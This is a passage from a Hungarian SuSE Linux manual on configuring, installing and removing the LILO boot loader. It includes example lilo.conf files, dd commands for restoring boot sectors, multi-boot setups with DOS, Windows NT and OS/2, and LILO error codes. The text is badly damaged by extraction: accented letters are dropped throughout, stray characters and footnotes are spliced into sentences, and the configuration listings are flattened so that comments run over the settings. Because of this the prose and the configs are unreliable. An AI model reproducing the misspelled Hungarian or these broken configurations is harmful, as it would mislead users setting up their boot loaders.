SuSE Linux rendszerhez. label=<nv> A rendszer vlasztsunk szerinti neve. Hasznlata javasolt, mert az alaprtelmezs, a kernelfjl neve kevsb informatv. Egyedi nvnek 125

4. Rendszerbetlts s rendszerbetlt programok o

# LILO Configuration file # Start LILO global Section boot=/dev/hda backup=/boot/MBR.hda.970428 #compact #linear # LILO Installation target # Backup file for the old # MBR Apr 28 1997 # faster, but wont work on all systems. # Generate linear sector addresses # instead of sector/head/cylinder

# addresses. message=/boot/greetings # LILOs Greeting prompt password = q99iwr4 # Example LILO password timeout=100 # wait at prompt for 10 s before default # is booted vga = normal # normal text mode (80x25 characters) # End LILO global section # Linux bootable partition config begins image = /vmlinuz # Setting root = /dev/hdb3 # Root partition for kernel read-only label = Linux # Linux bootable partition config ends # Second Linux bootable partition config image = /vmlinuz.old root = /dev/hdb3 read-only label = Linux.old # 2nd Linux bootable partition config ends # DOS bootable partition config begins other = /dev/hda1 label = DOS loader = /boot/chain.b table = /dev/hda # DOS bootable partition config ends

4.4.1 fjllista: Plda bellts a /etc/lilo.conf-ban

126

4.4. A LILO belltsa kell lennie. Klnben szabadon vlaszthatunk nevet a rendszer rszre (pl. Linux). Maximlis hossza 15 karakter. Csak bet ket, szmokat u s alhzst hasznlhatunk a nevekhez sem szkz, sem specilis karakterek nem lehetnek9 . A rendszermag fjl alaprtelmezett azonostja. A LILO prompt-nl e nv megadsval vlaszthatjuk ki melyik rendszer (kernel) induljon. Ha sok rendszert teleptettnk, clszer haszu nlnunk a message= opcit, aminek segtsgvel tjkozat zenetet rathatunk ki a LILO prompt el. root=<rooteszkz (rootdevice)> A Linux rendszernk root partcijnak megadsa a kernel rszre (pl. /dev/hda2). Hasznlatt biztonsgi clbl javasoljuk. Ha ezt az opcit kihagyjuk, a rendszermag a sajt eredeti root partcijt tekinti aktv root partcinak10 . Ms rendszerek other=<partci> Az other mondja meg a LILO -nak, hogy az adott partcin ms indthat rendszer van, mint a DOS / Windows (pl. /dev/hda1). loader=<rendszerbetlt (Boot loader)> o Egy msik opercis rendszerhez tartoz indt szektor betltshez, a LILO ltrehoz egy hamis (pseudo) MBR-t a map fjlban. Indulskor a LILO el szr elindtja ezt a hamis MBR-t, ami elindtja a msik o indt szektort. Ez az opci meghatrozza azt a fjlt, amiben a hamis MBR-hez val kd tallhat. Alaprtelmezs: /boot/chain.b (rendszerint ez a helyes). Nha a LILO -val olyan OS-t akarunk indtani, amely csak az els meo revlemezr l indthat (pl. a DOS-t), de azt mgis msik merevlemezre o akarjuk telepteni. A LILO az albbi lehet sgeket nyjtja, hogy a o merevlemezek logikai sorrendje felcserl djn: o map-drive=<Szm> s to=<Szm>. Az os2_d.b betlt szolgl arra, hogy betltse az OS/2-t a msodik o merevlemezr l11 . jdonsg a LILO v 2.0-ban: eszkzk "felcsero lse" (lsd a 128 fjllistt). table=<ptable> A <ptable> megadja a forrs eszkzt a hamis (pseudo) MBR-be bersra kerl partcis tbla rszre (ltalban ez a /dev/hda vagy a o /dev/sda).
9 A sajtos szablyokrl, s hogy milyen karaktereket hasznlhatunk, lsd az [Alm94] 3.2.1. fejezett. 10 Megtekinthet a kvetkez parancs hasznlatval: rdev <rendszermag fjl (kernelimage)>. o o 11 Az any_b.b (Indts a B:-r l) s az any_d.b (Indts a msodik merevlemezr l) mr o o elavult a LILO 2.0 verzija ta.

127

4. Rendszerbetlts s rendszerbetlt programok o


# Rendszerindts a msodik merevlemezrl # DOS indthat partci konfigurci kezdete other = /dev/hdb1 label = DOS loader = /boot/chain.b map-drive = 0x80 # els hd: BIOS sorszma 0x80 to = 0x81 # msodik hd: BIOS sorszma 0x81 map-drive = 0x81 to = 0x80 table = /dev/hdb # DOS indthat partci konfigurci vge

4.4.2 fjllista: /etc/lilo.conf DOS indtsa a 2. merevlemezr l o 4.4.2 Egyb LILO belltsi opcik

Az el z rszek trgyaltk a /etc/lilo.conf-ban hasznlhat bejegyzo o seket. A tbbi hasznos opcit itt trgyaljuk meg. Ezek a lehet sgek image options-knt vannak megjellve, s az opercis o rendszer megfelel rszhez (section) tartoznak. o A tbbieket a /etc/lilo.conf global rszhez terveztk. backup=<biztonsgi ments> A fjl amibe a LILO az indt szektor biztonsgi mentst teszi. Alaprtelemezs a /boot/boot.xxxx, ahol az xxxx a teleptsi partci bels eszkz szma12 . o Nem javasoljuk "zavaros" nv hasznlatt (lsd fenti pldnkat). Nem fogjuk tudni hasznlni a LILO beptett teleptsb l val eltvoltsi o (uninstall) kpessgt; de gy gondoljuk ezt klnben is jobb vatosan, kzzel elvgezni (lsd a 4.5 . fejezetben (132. oldal)). Ha a biztonsgi ments fjl mr ltezik, a LILO nem kszt jat. Gy z do o jnk meg rla, hogy nem hasznlunk olyan nevet, ami mr hasznlatban van. compact Akkor hasznlatos, ha a LILO -t mgneslemezre akarjuk telepteni. Ha engedlyezzk, a LILO megprbl tbb szektort olvasni egyszerre, ami gyorsabb indtst eredmnyez. Sajnos nem m kdik minden gpen. u Hasznlatt nem javasoljuk, mivel a norml mdszer biztonsgosabb s csak egy-kt msodperces klnbsget tud nyjtani. disk=<device file> bios=<BIOS device number> cylinders=<amount>
12

A rendszermag forrsban megtallhat a /usr/src/linux/init/main.c alatt, a parse_root_dev() fggvnnyel.

128

4.4. A LILO belltsa heads=<amount> sectors=<amount> A fentiekkel mondhatjuk meg a LILO -nak, hogy pontosan milyen BIOS eszkz szmot s geometrit kell hasznlnia. Ritkn van r szksg. Van azonban egy kivtel: az IDE-SCSI vegyes rendszer: Ha olyan BIOS-unk van ami kpes vltani az indt eszkzket (pl. a SCSI-t az IDE el), s ha hasznlni is akarjuk ezt a kpessgt, akkor meg kell mondanunk a LILO -nak a kapcsolsi sorrendet a BIOS szempontjbl. Ez megvalsthat egy kln bejegyzssel a lilo.conf global szekcijban. A 4.4.3 fjllistban egy plda lthat, egy SCSI/IDE lemezes rendszerr l. o
# Enable LILO to correctly access /dev/sda and /dev/hda # at boot time if their boot order is interchanged in # the BIOS: disk = /dev/sda bios = 0x80 disk = /dev/hda bios = 0x81 # # # # The ... the ... SCSI disk is regarded as ... first BIOS disk; IDE disk is regarded as ... second BIOS disk.

4.4.3 fjllista: lilo.conf indtsi sorrend: SCSI az IDE el tt o compact Ez az opci hatstalantja a LILO 1024 cilinderes korltjt, amennyiben a szmtgp BIOS-a tmogatja ezt. linear A LILO teleptsekor ezen opci megadsa azt eredmnyezi, hogy az sszes merevlemez-szektorra vonatkoz adat logikaiknt troldik a zikai cmek helyett, gy azok fggetlenek minden merevlemez geometritl. Ezt a lehet sget arra az esetre terveztk, ahol indtskor a BIOS eltr o o geometrit rzkel, mint amin a Linux rendszer fut. Csak ritka esetekben szksges! A linear opci nem oldja meg az 1024-es cilinder-hatr korltozst, ami a BIOS ltal meghatrozott indt merevlemez geometrija. Nzzk meg mg a kvetkez web oldalt : o
http://sdb.suse.de/sdb/en/html/kgw_lilo_linear.html

message=<zenet-fjl> Egy szvegfjlt hatroz meg, melynek tartalma a rendszer indtsakor a kperny n megjelenik. Nem szabad 24 sornl tbbet tartalmaznia s tjo koztatst nyjthat a LILO indtsi vlasztkrl, nvelve az informcit, ami a TAB lenyomsra rhet el. Alkalmazsa javasolt. o Ha ezt az opcit hasznljuk, az zenetfjl a LILO indt gpezet rsze, s e fjl minden vltoztatsa utn, a LILO -t jra kell telepteni (lsd a 4.5 fejezetet).

129

4. Rendszerbetlts s rendszerbetlt programok o password=<jelsz> Lehet akr a global akr a rendszer-specikus rszben. Vdett elrst nyjt a LILO szolgltatsokhoz. Ha a biztonsgot komolyan vesszk, el kell tvoltanunk a jelszt a lilo.conf-bl miutn installltuk azt. Mint root, annyiszor lltunk be j jelszt a LILO -nak, ahnyszor csak akarunk (csak jra kell teleptennk utna). Az is javasolt, hogy lltsuk be a korltozott (restricted) opcit, klnben lehet sg o van egy parancsrtelmez (shell) elindtsra (lsd man lilo.conf)! o read-only Ez az opci megmondja a rendszermagnak, hogy kezdetben csakolvassra csatolja be a root partcit, ami normlis egy Linux rendszer indtsakor. Ha ezt kihagyjuk, a rendszermag a sajt bels belltst o hasznlja13 . delay=<tizedmsodperc> Ha a prompt nincs egyrtelm en belltva, prompt-ot a u Shift , Ctrl , Alt gombok lenyomsval krhetnk. A delay= opci belltja azt az id t, miutn a LILO elindtja az els rendszert a o o bels listjrl. o Az alaprtelmezs 0, teht nincs vrakozs. A delay opcinak nincs hatsa ha a prompt-ot a prompt opci jelentette meg. vga=<kperny zemmd> o A kvnt VGA zemmd belltsa indtskor. Hasznlhat mdok a normal (80x25), az ext (80x50), vagy az ask, (utbbi esetben indtskor krdezi meg az zemmdot). append="<paramter>" Paramter-tadsi lehet sg a Linux rendszermag szmra. Lehet v o o teszi a rendszermagok s hardver alkotrszek meghatrozst, ugyangy, ahogy ez a LILO prompt-nl is lehetsges. A rendszermag el szr o az append sorban, majd a LILO prompt-nl a megadott paramtereket kapja meg. append="mcd=0x300,10"

4.5

A LILO teleptse s eltvoltsa

j Linux teleptse sorn, vagy ks bb, a YaST tvezet minket a LILO intero aktv teleptsi lpsein. Ebben a rszben felttelezzk, hogy nhny olyan dolgot kell megtennnk, amit a YaST nem tud megtenni, emiatt kzelebbr l szemgyre vesszk, hoo gyan is m kdik a LILO a telepts s az eltvoltsi eljrs alatt. u A rendszerbetlt teleptse trkks egy kicsit! Gy z djnk meg j el re o o o o hogy 100%-osan be tudjuk indtani a Linux-ot s az egyb becsatolt rendszereket. Teleptve kell lennie az fdisk -nek a ment lemeznkn (crash o recovery disk), klnben olyan knyelmetlen helyzetben tallhatjuk magunkat, hogy nem tudunk egyltaln hozzfrni merevlemeznkhz!
13

Ez lthat az rdev-R <rendszermag fjl (kernelimage)> parancs hatsra. A telept leo

130

4.5. A LILO teleptse s eltvoltsa Telepts a belltsok megvltoztatsa utn Ha a LILO brmelyik alkotelemt megvltoztattuk, vagy mdostottuk a belltsokat a /etc/lilo.conf-ban, jra kell teleptennk a LILO -t. Ezt egyszer elvgezni a "Map Installer" elindtsval: u
meggyfa: # /sbin/lilo

Ezutn az trtnik, hogy a LILO megprbl kirni egy biztonsgi msolatot a cl indt szektorrl, felrja sajt els rszt, s ltrehoz egy j map fjlt o (lsd a 21 . fejezetben (122. oldal)). A LILO megjelenti az sszes teleptett rendszert lsd a 4.5.1 kperny listt. o
Added Linux* Added Linux.old Added DOS

4.5.1 kperny lista: A LILO futsa utni kperny kimenet o o Amikor a telepts befejez dtt, a gpet jra lehet indtani (klnben az j o LILO opcik feleslegesek voltak :-) ):
meggyfa: # shutdown -r now

jraindts kzben, a BIOS el szr elvgzi a rendszertesztet s kzvetlenl o utna ltni fogjuk a LILO -t, s annak parancs prompt-jt, ahol megadhatunk paramtereket, kivlaszthatunk egy indt lenyomatot (image) a legutbb te leptett belltsokbl. A TAB megjelent egy listt az sszes teleptett rendszerr l. o Telepts a rendszermag jrafordtsa (recompiling) utn Ha egy jonnan ksztett rendszermagot bele akarunk foglalni a LILO belltsunkba, a Linux rendszermag forrsban a Makele mindenben megfelel o megoldst knl erre. Minden parancs a rendszermag ltrehozshoz s belltshoz egytt a /usr/src/linux/Makefile fjlban megtallhat; ebben az INSTALL_PATH=/boot van meghatrozva (lsd a 13.5 . fejezetben (379. oldal)). A Makefile megfelel opcijt bzlilo-nak o hvjk, ami a rendszermag lefordtsa utn, automatikusan tmsolja a jelenlegi rendszermagot, a /boot/vmlinuz-t (ez rgebben a /vmlinuz volt) a /boot/vmlinuz.old al, az j rendszermagot pedig a /boot/ vmlinuz al, s utna jratelepti a LILO -t. Ezt az albbi paranccsal indthatjuk el:
meggyfa:/usr/src/linux # make bzlilo

a make zImage vagy make bzImage helyett. Ez csak akkor hasznos, ha mr el re tszerkesztettk a /etc/lilo.conf-ot, s ha a jelenlegi rendszero magunk valban a /boot/vmlinuz alatt van. Az j, valamint a rgi rendszermag most a listn kell hogy legyen. Lsd a 4.4.1 . fejezetben (126. oldal) a pldt a /etc/lilo.conf tartalmra.
mezen lv rendszermagok s az jonnan fordtottak (compiled) alapbl csak-olvassra vannak o belltva. gy, normlisan nincs szksgnk erre a lehet sgre. o

131

4. Rendszerbetlts s rendszerbetlt programok o jraindts utn, a LILO prompt-nl, a kt rendszermagbl brmelyiket elindthatjuk. Ez a rendszerindtst biztonsgosabb teszi, mert mg mindig elindthatjuk a rgi rendszermagunkat, ha az j valamirt nem indul. B vebbet az j rendszermag ltrehozsrl, a 13 . fejezetben (375. oldal). o A LILO eltvoltsa Taln egy nap szksges lehet, hogy eltvoltsuk a LILO -t. :-( Ez megvalsthat, ha visszarjuk az eredeti indt szektort oda, ahov a LILO teleptve lett. Ez nem problma Linux alatt, ha van rvnyes biztonsgi mentsnk (lsd a 4.4.2 . fejezetben (127. oldal), backup opci). Egy indt szektor biztonsgi mentse hasznlhatatlann vlik, ha a krdses partcira kzben j fjlrendszer kerl (DOS hasznlknak: formattlva lett). Egy partcis tbla (MBR) biztonsgi mentse rvnytelenn vlik, ha a krdses merevlemezt id kzben tpartcionltk. Ezek az elavult "biztono sgi mentsek", id ztett bombk. Legjobb letrlni azokat olyan gyorsan, o ahogy csak lehet. A rendszerszektorokba kicsomagolni, rgi s rvnytelen biztonsgi mentseket, biztos t az adatvesztshez! Nagyon knny visszalltani a DOS, Windows 95/98 vagy OS/2 MBR-t. u Csak adjuk ki az albbi MS-DOS parancsot egy rendszerlemezr l (5.0 ta o elrhet ): o
C:\> FDISK /MBR

vagy OS/2-n
C:\> FDISK /NEWMBR

A fenti parancsok csak az els 446 bjtot, (az indt kdot) rjk az MBR-ba o s rintetlenl hagyjk a partcikat14 . Egyb helyrelltsokra, el szr ksztsnk biztonsgi mentst a krdses o LILO -rl csak a biztonsg kedvrt. Most le kell ellen riznnk (legalbb o ktszer :-) ), vajon a rgi biztonsgi ments fjlunk helyes-e, s pontosan 512 bjt-e a mrete! Vgl, rjuk vissza, de fel ne cserljk az if=-et az of=-al! Ha a LILO az y partcin tallhat (pl. /dev/hda1, /dev/hda2 . . . ):
meggyfa: # dd if=/dev/y of=jMBR bs=512 count=1 meggyfa: # dd if=RgiMBR of=/dev/y

Ha a LILO a z eszkz MBR-jben tallhat (pl. /dev/hda, /dev/sda):


meggyfa: # dd if=/dev/z of=jMBR bs=512 count=1 meggyfa: # dd if=RgiMBR of=/dev/z bs=446 count=1

Az utols parancs "vatos" s nem rja fell a partcis tblt. Ne feledjk el: az fdisk-kel meg kell jellnnk a kvnt indt partcit bootable-knt. Egybknt, gyeljk meg, hogy milyen knny s gyors egy indt szektor u biztonsgi ments ksztse. Javasoljuk, hogy tegyk meg gyakran!
14

Felttelezzk, hogy az MBR kdja rvnyes (lsd a 4.1 . fejezetben (119. oldal)). Ha nem, akkor rvnytelennek tekintend s a partcis tbla a "semmi"-be megy. o

132

4.6. Linux indt lemez ksztse

4.6

Linux indt lemez ksztse

Egy Linux indtlemez (kiss leegyszer stve) egy vagy tbb, valszn leg u u a LILO ltal kezelt Linux rendszermagot tartalmaz. Rendszernk indtsra szolgl mg akkor is, ha nem lehetsges indtani kzvetlen a merevlemezr l o (lehetsges okok: fellrt MBR, rosszul belltott rendszerbetlt , telepts o alatti hibk, stb.). Egy ilyen indtlemez, csak a rendszermagot tlti be. Minden mst, belertve a m kd rendszerprogramokat s az init (indt) szkripteket a merevleu o mezen lv teleptsnek kell biztostania. A kapcsolat az indtlemez s a o merevlemezen lv rendszer kztt azltal jn ltre, hogy a krdses root o partcit, root eszkzknt lltottuk be. Ne keverjk ezt ssze a SuSE indtlemezzel (boot disk), amit teleptshez, s vszhelyzetben hasznlunk. Ha ksztennk kell egy j SuSE indtlemezt, msoljuk le a megfelel lenyomatot (image) a SuSE CD-ROM disks o knyvtrbl egy mgneslemezre (lsd a 16.6 . fejezetben (451. oldal)). Indtlemez LILO nlkl Ha a rendszermagunknak nem kell semmifle hardverparamter, a legknnyebben gy tudunk egy indtlemezt kszteni, hogy egyszer en felrjuk u a tnyleges rendszermagot egy nyers lemezre, s belltjuk a root eszkzt (ha ezt mg nem tettk meg azel tt): o
meggyfa: # dd if=J_kernel of=/dev/fd0 bs=18k meggyfa: # rdev /dev/fd0 Root_partci_neve meggyfa: # rdev -R /dev/fd0 1

Az utols parancs biztostja, hogy a rendszermag kezdetben a root-ot csakolvassra csatolja be (az indt szkriptek ezt vrjk el). Indtlemez LILO -val Kszthetnk sokkal jobb kpessg indtlemezt is, dvzl szveggel, u o prompt-tal, rendszermag paramterekkel s egyb LILO nomsgokkal, ha tmsoljuk az egsz LILO indt gpezett a lemezre (lsd a 21 . fejezetben (122. oldal)). Ehhez, el szr fjlrendszer kell a lemezre ; erre a legjobban a o Minix fjlrendszer felel meg. Kvessk az albbi eljrst: Ksztsnk Minix fjlrendszert egy j, s res mgneslemezre, csatoljuk be a lemezt, pldul a /mnt al, az albbi parancsokkal:
meggyfa: # /sbin/mkfs.minix -c /dev/fd0 1440 meggyfa: # /bin/mount /dev/fd0 /mnt

Msoljuk a rendszermagunk fjljait, s a LILO fjlt (/boot/boot.b) a /mnt al, a mgneslemezre. Ha gondoljuk, ksztsnk egy zenet fjlt /mnt/message nven. Ksztsnk egy /mnt/lilo.conf llomnyt. Ezt szksgleteinkhez kell igaztanunk (a rendszermag megfelel nevt megadva, stb.). Lsd o pldaknt a 4.6.1 fjllistt. 133

4. Rendszerbetlts s rendszerbetlt programok o


# LILO konfigurci a bootlemeznkre # LILO globlis szekci kezdete boot=/dev/fd0 # Telepts Floppy-ra install=/mnt/boot.b # Termszetesen a LILO map=/mnt/map # s a MAP fjl a floppy-ra! message=/mnt/message # opcionlis prompt timeout=100 # Vrakozs a prompt-ra: 10 mp vga = normal # LILO globlis szekci vge # # Linux bootolhat partci konfigurci kezdete image = /mnt/Els_kernel # alaprtelmezett root = /dev/Root_eszkz # Ide a valdi root # partcit helyettestsk be! label = linux # Linux bootolhat partci konfigurci vge # # Rendszer szekci tovbbi kernelekhez:

4.6.1 fjllista: lilo.conf egy indtlemezhez Teleptsk a LILO -t a /mnt/lilo.conf llomnnyal:


meggyfa: # /sbin/lilo -C /mnt/lilo.conf

Tvoltsuk el a mgneslemezt ez minden!


meggyfa: # /bin/umount /mnt

Ellen rizzk le indtlemeznket a kvetkez rendszerindtsnl, m kdiko o u e vagy nem :-)

4.7

Plda belltsok

Ha Linux az egyetlen opercis rendszer a gpnkn, akkor nincs semmi teend nk, mivel minden szksgeset mr megtett a YaST . o A kvetkez kben bemutatunk nhny plda belltst. Nzzk meg a o /usr/share/doc/howto/mini/Linux+*.gz-t, itt tallhatunk nhny LILO belltsi fjlt. 4.7.1 DOS, Windows 95/98 s a Linux

Kvetelmny: Kell lenni legalbb egy els dleges partcinak minden egyes o DOS / Windows 95/98-hoz s a Linuxhoz, ami az 1024-es cilinder hatr al esik (lsd a 22 . fejezetben (123. oldal)). Erre az esetre, mr megtrgyaltunk egy belltst ( 4.4.1 . fejezetben (126. oldal)) csak a root=, image= s other= opcikat kell megfele134

4.7. Plda belltsok l en belltanunk. A LILO az MBR-ba van teleptve. Ki kell hagynunk a o Linux.old-ot, ha nincs rgi rendszermag teleptve a gpnkre. Mentsk el a /etc/lilo.conf-ot s gy z djnk meg rla, hogy van o o Linux indtlemeznk. A Windows 95/98 klnsen hajlamos eltntetni az "idegen" MBR-t telepts kzben. Ha mg mindig el tudjuk indtani a Linuxot az indt lemezzel, ezt a problmt gyorsan megoldhatjuk az albbi paranccsal:
meggyfa: # /sbin/lilo

ami ismtelten vgrehajtja a LILO teleptst. 4.7.2 Windows NT s Linux egy merevlemezen

1. Ha a Windows NT-nek s a Linuxnak egytt kell lennik azonos merevlemezen, akkor az NT indt (boot) managert kell hasznlnunk indtsra. Ez indthatja akr a rendszermag fjlt, akr magt az indt szektort. Az albbi lpsek vgrehajtsa el kszt mindent a Linux s a Windows NT o bks egyms melletti ltezshez: Partcionljuk az NT lemezt (FAT-ot hasznlva, hogy a Linux tudjon r rni). Teleptsk fel az NT-t. Teleptsk a Linuxot, mint rendesen (pldnkban a root partci a /dev/sda3-on van). Csatoljunk be egy DOS partcit vagy egy hibamentes DOS hajlkonylemezt (pldul a /dos al). Teleptsk a LILO -t, de a Linux root partciba (/dev/sda3), NE az MBR-ba (/dev/sda). lltsuk be a megfelel Linux rendszermagot o a LILO -hoz. Lsd a 4.7.1 lilo.conf pldt.
# LILO konfigurcis fjl # LILO globlis rsz kezdete boot=/dev/sda3 # Ide teleptjk a LILO-t backup=/boot/boot.sda3.970428 # Az elz boot szektor # msolata 2001.04.22. prompt timeout=100 # Vrakozs a prompt-ra: 10 mp vga = normal # Norml videzemmd # LILO globlis rsz vge # Linux bootolhat partci konfigurci kezdete image = /vmlinuz # alaprtelmezett kernel root = /dev/sda? # A root partci neve! label = Linux # Linux bootolhat partci konfigurci vge

4.7.1 fjllista: lilo.conf a Linux root partci indtsra

135

4. Rendszerbetlts s rendszerbetlt programok o Msoljuk a LILO indt szektort oda, ahol az NT majd meg tudja tallni azt, pldul:
meggyfa: # /bin/dd if=/dev/sda3 bs=512 count=1 of=/dos/bootsek.lin

Ezt a lpst, valamint a kvetkez ket minden rendszermag frisstskor o el kell vgezni. Indtsuk el az NT-t. Msoljuk t a bootsek.lin-t az adatlemezr l o az NT rendszermeghajt f knyvtrba (ha az mg nincs ott). o A boot.ini-ben (el szr belltand attributumok), egsztsk ki a o vgt:
c:\bootsek.lin="Linux"

A kvetkez indts utn (ha minden simn ment), kell lenni egy beo jegyzsnek az NT indt manager menjben. 2. Msik lehet sg: teleptsk a LILO -t az MBR-ba s lltsuk azt, hogy ez o a DOS a Windows NT menjben (amint az el z pldban van). o o Az NT 3.5* nem ismeri fel a Linux 82 s 83 tpus partcikat. Gy z do o jnk meg rla, hogy egyetlen NT program sem prblja "megjavtani" a partcis tblnkat. Ez adatvesztst eredmnyezhet! Mindig legyen kznl egy j biztonsgi msolatunk a LILO indt szektorrl. 4.7.3 Az OS/2 s a Linux

1. Hasznljuk az OS/2 indt manager-t indtsra. Ez el tud indtani tbb els dleges s logikai partcit, ami az 1024 cilinderhatr alatt van. A o felhasznl felel s a partcikrt. Ezt az indt managert az OS/2 fdisk -je o telepti. El kszlet Linux oldalon: csak abbl ll, hogy a partcit (rendszerint o ez a root partci) indthatv kell tennnk a LILO -val. Hasznlhatjuk ugyanazt a lilo.conf-ot, mint a Windows NT plda, de van egy dolog amit gyelembe kell vennnk el re. . . o El kszlet OS/2 oldalon: Az OS/2 nemcsak a hagyomnyos s nyilvno val bejegyzseket hasznlja a ltez partcikhoz az MBR-ban a merevo lemezen, de hasznlja a "kihasznlatlan" helyet ezekben a szektorokban a tovbbi informcikra15 . Ha ezek nem sszeill k, az OS/2 fdisk -je ezeket o a partcikat hibsnak tekinti, s elutastja az indt manager szolgltatst. Ms rendszerek fdisk parancsai nem tudjk kezelni ezeket az extra partcikat. . . A koniktus szinte elkerlhetetlen. Ezrt: miel tt teleptjk a Linuxot, tltsk be az OS/2-t (a telept rendo o szer elegend ), s hozzunk ltre Linux partcikat az OS/2 fdisk -jvel, o legalbb a logikai meghajtkat. Ez kezdetben ltrehoz tovbbi OS/2 partcikat, amelyek taln az utunkban lesznek. Megolds: azonnal a part15

Egy j Tmogatsi adatbzis cikk kszlt err l: kulcssz "OS/2". o

136

4.7. Plda belltsok cik ltrehozsa utn, tltsk be a Linux telept rendszert (vagy a rescue o lemezt a SuSE Linux CD-r l), s vltoztassuk t a partci tpust 83-ra o (Linux native) az fdisk hasznlatval. Most ezeket a partcikat gyelmen kvl fogja hagyni az OS/2. 2. Teleptsk a LILO -t mint f indtsi managert az els merevlemez, els do o o leges partcijra16 . Ezt a specilis esetet is gyelembe vesszk a kvetkez pldnkban, ahol mr a DOS-t is bevonjuk. o 4.7.4 DOS, OS/2 s Linux

1. Ha mr hasznljuk az OS/2 boot manager-t a DOS-hoz s az OS/2-hz, s tovbbra is hasznlni akarjuk, egyszer en adjuk hozz a Linuxot az u indt menjhez, ahogy azt az el z pldban mr lertuk. o o 2. Ha a LILO t az els merevlemez els dleges partcijra teleptettk mint o o f indt managert, akkor a kvetkez szndkosan sszetett lilo. o o conf plda ( 4.7.2 fjllista) felttelezi, hogy a DOS s a Linux indt partcik els dlegesek s az els merevlemezen vannak, ahol az OS/2 a o o msodik merevlemezen van s mindegyik az 1024-es cilinder hatr alatt. Az OS/2 a msodik merevlemezen van. Ez az, amirt egy specilis betlt t, a (/boot/os2_b.b-t) hasznlunk a /boot/chain.b heo lyett. Az MBR kd lehet akr a DOS-bl vagy akr az OS/2-b l (teljesen o mindegy melyik). A LILO indt partcit (/dev/sda4) aktvnak kell megjellnnk, brmelyik fdisk -kel.

16

Nem egy j tlet az MBR-ba telepteni, mivel egy msik fdisk -el val tpartcionls letrlheti az MBR-t s gy eltvoltja a LILO -t.

137

4. Rendszerbetlts s rendszerbetlt programok o


boot = /dev/sda4 # LILO a Linux root partciban backup = /boot/boot.sda4.20010422 message = /boot/message # Ksznt zenet prompt delay = 100 vga = normal image = /vmlinuz label = linux root = /dev/sda4 # OS/2 bootolhat konfigurci kezdete other = /dev/sdb5 table = /dev/sdb label = os2 loader = /boot/os2_b.b # OS/2 bootolhat partci konfigurci vge # # DOS bootolhat konfigurci kezdete other = /dev/sda1 table = /dev/sda label = dos # DOS bootolhat partci konfigurci vge

4.7.2 fjllista: LILO DOS-al, az OS/2 s a Linux kt merevlemezen

4.8

LILO problmk

Nhny tmutat Nhny egyszer tmutat kezdetnek, hogy elkerljk a legtbb LILO probu lmt a tovbbiakban (Ezeket a LILO dokumentcibl [Alm94] emeltk ki): Ne essnk pnikba! Ha valami nem m kdik, prbljuk megtallni a hibt u s/vagy az okt el szr; ellen rizzk a hibazeneteket miel tt elkezdjk o o o kijavtani a problmt. Mindig legyen egy napraksz s letesztelt indt lemez kznl. A SuSE Linux tartalmaz egy teljes Linux rendszert az indt lemezn s a telept CD-n (a rescue rendszerhez, lsd a 16.6 . fejezetben (451. oldal)), o lehet v tve, hogy elrjk az sszes Linux partcinkat. A beletartoz o eszkzkkel, majdnem minden felmerlhet problmt kijavthatunk. o Olvassuk el a LILO teljes dokumentcijt, klnsen ha a rendszer nem azt csinlja amit szeretnnk. Ellen rizzk a /etc/lilo.conf-ot miel tt a (/sbin/lilo) telepo o t t hasznlnnk. o Legynk vatosak ha egy, vagy tbb nagy merevlemezt hasznlunk. Ismernnk kell az 1024-es cilinderhatr korltozst. 138

4.8. LILO problmk Prbljuk ki a linear opcival s nlkle (ltalban jobbnak kell lennie nlkle!). 4.8.1 Hibazenetek: LILO indtsi zenetek

A kvetkez informcik f knt az [Alm94] knyv 5.2.1 fejezetb l valk. o o o Amikor a LILO betlti magt, megjelenti a LILO szt. Minden egyes bet megjelense el tt, vagy utn vgrehajt bizonyos utastsokat. Ha a LILO u o elakad valamelyik pontnl, az addig megjelent bet ket felhasznlhatjuk a u problma azonostsra. Hibajelensgek lersa: semmi A LILO -bl semmi nem tlt dtt be. Vagy a LILO -t nem teleptettk o fel, vagy az a partci nem aktv, ahol az indt szektor van. L hibakd . . . A LILO els rsze, az indt betlt betlt dtt s elindult, o o o de nem tudta betlteni a msodik rszt (a /boot/boot.b-t). A ktszmjegy hibakd jelzi a problma tpust. Ez az llapot rendszerint u mdia meghibsodsra vagy geometriai eltrsre utal. LI A LILO a msodik szakaszt meghvta, de nem tudta elindtani. Ez lehet akr geometriai eltrst l vagy ha a /boot/boot.b-t ms helyre o tettk a LILO jrateleptse nlkl. LIL Az indt betlt msodik szakasza elindult, de nem tudta betlteni o a ler tblt a map fjlbl. Ez ltalban hibs indteszkz, vagy hibs lemezegysg-geometria miatt trtnik. LIL? Az indt betlt msodik szakasza helytelen cmre tlt dtt be. Ez o o ltalban egy hajszlnyi geometriai eltrs miatt van, vagy ha a /boot/ boot.b-t ms helyre tettk a LILO jrateleptse nlkl. LIL- A ler tbla (a map fjlban) megsrlt. Ez ltalban geometriai eltrs miatt van, vagy ha a /boot/boot.b-t ms helyre tettk a LILO jrateleptse nlkl. LILO A LILO minden rsze sikeresen belt dtt. o A geometriai hibk legs r bben el fordul oka nem zikai srls vagy ruu o vnytelen partcis tbla, hanem a LILO teleptsi hibi, belertve: az 1024-es cilinderhatr gyelmen kvl hagysa (lsd a kvetkez rszt) o a LILO sikertelen indtsi ksrlete logikai partcirl 4.8.2 Az 1024-es cilinderhatr

Miknt azt mr korbban hangslyoztuk (pl. a 22 . fejezetben (123. oldal)), az egsz LILO gpezet (pl. brmely adat, ami az indtshoz szksges) csak a BIOS hvsokra tmaszkodhat (ami azt jelenti, hogy annak az 1024-es cilinderhatr alatt kell lennie a merevlemezen). A merevlemez hasznlhat rszeit (ezeket hvjuk allowed sections-nak) mr megtrgyaltuk. Ez a korltozs csak az indt gpezetre van kihatssal. Nincs el rva, hogy o a LILO a Linux root partcijra legyen teleptve. Lehetsges, (habr elg veszlyes) az indt gpezetet msik opercis rendszer partcijra tenni, amelyet a Linux is el tud rni rsra s olvassra. 139

